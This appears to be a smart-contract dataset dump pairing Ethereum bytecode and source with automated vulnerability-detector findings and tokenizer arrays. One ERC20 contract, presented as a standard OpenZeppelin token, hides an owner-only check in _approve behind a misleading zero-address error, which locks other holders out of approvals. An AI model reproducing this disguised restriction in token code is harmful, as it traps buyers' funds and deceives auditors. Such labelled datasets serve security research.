48201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610897565b6001600160a01b038216611dee5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610897565b611df983838361247d565b611e04600082611a7c565b6001600160a01b0383166000908152600660205260408120805460019290611e2d908490613099565b90915550506001600160a01b0382166000908152600660205260408120805460019290611e5b90849061304e565b909155505060008181526005602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600154600160a01b900460ff1615611ee65760405162461bcd60e51b815260040161089790612f49565b600d546001600160a01b0316611efb57600080fd5b60008111611f3d5760405162461bcd60e51b815260206004820152600f60248201526e2cb7ba9031b0b73a10313abc90181760891b6044820152606401610897565b601e811115611f5e5760405162461bcd60e51b815260040161089790612eb2565b600d54604080516318160ddd60e01b815290516001600160a01b039092169160009183916318160ddd91600480820192602092909190829003018186803b158015611fa857600080fd5b505afa158015611fbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fe09190612d5c565b604051631f89f14760e01b81526001600160a01b0386811660048301526024820186905291925090831690631f89f1479034906044016000604051808303818588803b15801561202f57600080fd5b505af1158015612043573d6000803e3d6000fd5b5050601054610100900460ff161592506116a9915050576000826001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561209557600080fd5b505afa1580156120a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120cd9190612d5c565b9050600f548111156120de5750600f545b818111156109395760006120f383600161304e565b90505b818111612128576000818152601160205260409020805460ff191660011790558061212081613117565b9150506120f6565b50610939856121378484613099565b612197565b600e805490600061214c83613117565b919050555061215d81600e54612535565b61217b600082600e5460405180602001604052806000815250612683565b610ac75760405162461bcd60e51b815260040161089790612ef7565b6001600160a01b0382166121ed5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610897565b6000600e5460016121fe919061304e565b9050600082600e54612210919061304e565b905061222e6000858460405180602001604052806000815250612683565b61224a5760405162461bcd60e51b815260040161089790612ef7565b8082116122b75761225d6000858461247d565b600082815260056020908152604080832080546001600160a01b0319166001600160a01b03891690811790915583526006909152812080549161229f83613117565b919050555081806122af90613117565b92505061224a565b600e546122c590600161304e565b915082600e60008282546122d9919061304e565b90915550505b8082116116a95760405182906001600160a01b038616906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a48161232881613117565b9250506122df565b61233b848484611d11565b61234784848484612683565b6116a95760405162461bcd60e51b815260040161089790612ef7565b6060816123875750506040805180820190915260018152600360fc1b602082015290565b8160005b81156123b1578061239b81613117565b91506123aa9050600a83613066565b915061238b565b60008167ffffffffffffffff8111156123da57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612404576020820181803683370190505b5090505b8415611d0957612419600183613099565b9150612426600a86613132565b61243190603061304e565b60f81b81838151811061245457634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350612476600a86613066565b9450612408565b6001600160a01b0383166124d8576124d381600b80546000838152600c60205260408120829055600182018355919091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90155565b6124fb565b816001600160a01b0316836001600160a01b0316146124fb576124fb8382612790565b6001600160a01b03821661251257610a7b8161282d565b826001600160a01b0316826001600160a01b031614610a7b57610a7b8282612906565b6001600160a01b03821661258b5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610897565b6000818152600560205260409020546001600160a01b0316156125f05760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610897565b6125fc6000838361247d565b6001600160a01b038216600090815260066020526040812080546001929061262590849061304e565b909155505060008181526005602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60006001600160a01b0384163b1561278557604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906126c7903390899088908890600401612e62565b602060405180830381600087803b1580156126e157600080fd5b505af1925050508015612711575060408051601f3d908101601f1916820190925261270e91810190612d28565b60015b61276b573d80801561273f576040519150601f19603f3d011682016040523d82523d6000602084013e612744565b606091505b5080516127635760405162461bcd60e51b815260040161089790612ef7565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611d09565b506001949350505050565b6000600161279d84611209565b6127a79190613099565b6000838152600a60205260409020549091508082146127fa576001600160a01b03841660009081526009602090815260408083208584528252808320548484528184208190558352600a90915290208190555b506000918252600a602090815260408084208490556001600160a01b039094168352600981528383209183525290812055565b600b5460009061283f90600190613099565b6000838152600c6020526040812054600b805493945090928490811061287557634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905080600b83815481106128a457634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255828152600c9091526040808220849055858252812055600b8054806128ea57634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b600061291183611209565b6001600160a01b0390931660009081526009602090815260408083208684528252808320859055938252600a9052919091209190915550565b828054612956906130dc565b90600052602060002090601f01602090048101928261297857600085556129be565b82601f1061299157805160ff19168380011785556129be565b828001600101855582156129be579182015b828111156129be5782518255916020019190600101906129a3565b506129ca9291506129ce565b5090565b5b808211156129ca57600081556001016129cf565b803580151581146129f357600080fd5b919050565b600060208284031215612a09578081fd5b8135612a1481613188565b9392505050565b600060208284031215612a2c578081fd5b8151612a1481613188565b60008060408385031215612a49578081fd5b8235612a5481613188565b91506020830135612a6481613188565b809150509250929050565b600080600060608486031215612a83578081fd5b8335612a8e81613188565b92506020840135612a9e81613188565b929592945050506040919091013590565b60008060008060808587031215612ac4578081fd5b8435612acf81613188565b9350602085810135612ae081613188565b935060408601359250606086013567ffffffffffffffff80821115612b03578384fd5b818801915088601f830112612b16578384fd5b813581811115612b2857612b28613172565b612b3a601f8201601f19168501612ff9565b91508082528984828501011115612b4f578485fd5b8084840185840137810190920192909252939692955090935050565b60008060408385031215612b7d578182fd5b8235612b8881613188565b9150612b96602084016129e3565b90509250929050565b60008060408385031215612bb1578182fd5b8235612bbc81613188565b946020939093013593505050565b60006020808385031215612bdc578182fd5b823567ffffffffffffffff811115612bf2578283fd5b8301601f81018513612c02578283fd5b8035612c15612c108261302a565b612ff9565b80828252848201915084840188868560051b8701011115612c34578687fd5b8694505b83851015612c5f578035612c4b81613188565b835260019490940193918501918501612c38565b50979650505050505050565b60006020808385031215612c7d578182fd5b823567ffffffffffffffff811115612c93578283fd5b8301601f81018513612ca3578283fd5b8035612cb1612c108261302a565b80828252848201915084840188868560051b8701011115612cd0578687fd5b8694505b83851015612c5f578035835260019490940193918501918501612cd4565b600060208284031215612d03578081fd5b612a14826129e3565b600060208284031215612d1d578081fd5b8135612a148161319d565b600060208284031215612d39578081fd5b8151612a148161319d565b600060208284031215612d55578081fd5b5035919050565b600060208284031215612d6d578081fd5b5051919050565b60008151808452612d8c8160208601602086016130b0565b601f01601f19169290920160200192915050565b60008151612db28185602086016130b0565b9290920192915050565b600080845482600182811c915080831680612dd857607f831692505b6020808410821415612df857634e487b7160e01b87526022600452602487fd5b818015612e0c5760018114612e1d57612e49565b60ff19861689528489019650612e49565b60008b815260209020885b86811015612e415781548b820152908501908301612e28565b505084890196505b505050505050612e598185612da0565b95945050505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612e9590830184612d74565b9695505050505050565b602081526000612a146020830184612d74565b60208082526025908201527f43616e277420636c61696d2074686174206d616e79206174206f6e63652c207360408201526437b9393c9760d91b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b604051601f8201601f1916810167ffffffffffffffff8111828210171561302257613022613172565b604052919050565b600067ffffffffffffffff82111561304457613044613172565b5060051b60200190565b6000821982111561306157613061613146565b500190565b6000826130755761307561315c565b500490565b600081600019048311821515161561309457613094613146565b500290565b6000828210156130ab576130ab613146565b500390565b60005b838110156130cb5781810151838201526020016130b3565b838111156116a95750506000910152565b600181811c908216806130f057607f821691505b6020821081141561311157634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561312b5761312b613146565b5060010190565b6000826131415761314161315c565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610ac757600080fd5b6001600160e01b031981168114610ac757600080fdfe68747470733a2f2f65766176657273652e636f6d2f6170692f747572746c652e7068703f69643da2646970667358221220b384db761d4e42ff826146f0e75e3dd94e5654ef0a698974198f37c0af06944164736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
22275,
2549,
2094,
2692,
2475,
6858,
2546,
2629,
26095,
22022,
2581,
2546,
2629,
2050,
16086,
2475,
3540,
2581,
21456,
3401,
2487,
2094,
2575,
16703,
2692,
23777,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1013,
15826,
2013,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2330,
4371,
27877,
2378,
1013,
2330,
4371,
27877,
2378,
1011,
8311,
1013,
1038,
4135,
2497,
1013,
1058,
2549,
1012,
1015,
1012,
1014,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
2581,
17465,
1013,
9413,
2278,
2581,
17465,
1012,
14017,
1013,
1013,
1998,
5314,
2007,
1024,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2330,
4371,
27877,
2378,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,471 | 0x9535423410fc63104cde4a1afec06e9eb87839ee | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Context.sol";
import "./IERC20.sol";
import "./SafeMath.sol";
import "./Address.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address public _owner;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_mint(_owner, initialSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
require(owner == _owner, "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146102d057806395d89b4114610328578063a457c2d7146103ab578063a9059cbb14610411578063b2bdfa7b14610477578063dd62ed3e146104c1576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a257806323b872dd146101c0578063313ce56714610246578063395093511461026a575b600080fd5b6100c1610539565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105db565b604051808215151515815260200191505060405180910390f35b6101aa6105f9565b6040518082815260200191505060405180910390f35b61022c600480360360608110156101d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610603565b604051808215151515815260200191505060405180910390f35b61024e6106dc565b604051808260ff1660ff16815260200191505060405180910390f35b6102b66004803603604081101561028057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106f3565b604051808215151515815260200191505060405180910390f35b610312600480360360208110156102e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107a6565b6040518082815260200191505060405180910390f35b6103306107ee565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610370578082015181840152602081019050610355565b50505050905090810190601f16801561039d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f7600480360360408110156103c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610890565b604051808215151515815260200191505060405180910390f35b61045d6004803603604081101561042757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061095d565b604051808215151515815260200191505060405180910390f35b61047f61097b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610523600480360360408110156104d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a1565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105d15780601f106105a6576101008083540402835291602001916105d1565b820191906000526020600020905b8154815290600101906020018083116105b457829003601f168201915b5050505050905090565b60006105ef6105e8610a28565b8484610a30565b6001905092915050565b6000600254905090565b6000610610848484610ccd565b6106d18461061c610a28565b6106cc8560405180606001604052806028815260200161114760289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610682610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8e9092919063ffffffff16565b610a30565b600190509392505050565b6000600560009054906101000a900460ff16905090565b600061079c610700610a28565b846107978560016000610711610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461104e90919063ffffffff16565b610a30565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108865780601f1061085b57610100808354040283529160200191610886565b820191906000526020600020905b81548152906001019060200180831161086957829003601f168201915b5050505050905090565b600061095361089d610a28565b8461094e856040518060600160405280602581526020016111b860259139600160006108c7610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8e9092919063ffffffff16565b610a30565b6001905092915050565b600061097161096a610a28565b8484610ccd565b6001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ab6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806111946024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b3c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110ff6022913960400191505060405180910390fd5b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610be2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110ff6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d53576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061116f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dd9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806110dc6023913960400191505060405180910390fd5b610de48383836110d6565b610e4f81604051806060016040528060268152602001611121602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8e9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ee2816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461104e90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600083831115829061103b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611000578082015181840152602081019050610fe5565b50505050905090810190601f16801561102d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156110cc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b473b547c9f5e65def595f3893e258e5b4e11d92ffdff8f0249f5c4d8170ef8764736f6c63430006060033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22275,
27009,
21926,
23632,
2692,
11329,
2575,
21486,
2692,
2549,
19797,
2063,
2549,
27717,
10354,
8586,
2692,
2575,
2063,
2683,
15878,
2620,
2581,
2620,
23499,
4402,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
12324,
1000,
1012,
1013,
6123,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
29464,
11890,
11387,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
3647,
18900,
2232,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
4769,
1012,
14017,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
7375,
1997,
1996,
1063,
29464,
11890,
11387,
1065,
8278,
1012,
1008,
1008,
2023,
7375,
2003,
12943,
28199,
2000,
1996,
2126,
19204,
2015,
2024,
2580,
1012,
2023,
2965,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,472 | 0x9536a06bf3dce240d7ac703bb623e26998edd815 | // File: @openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
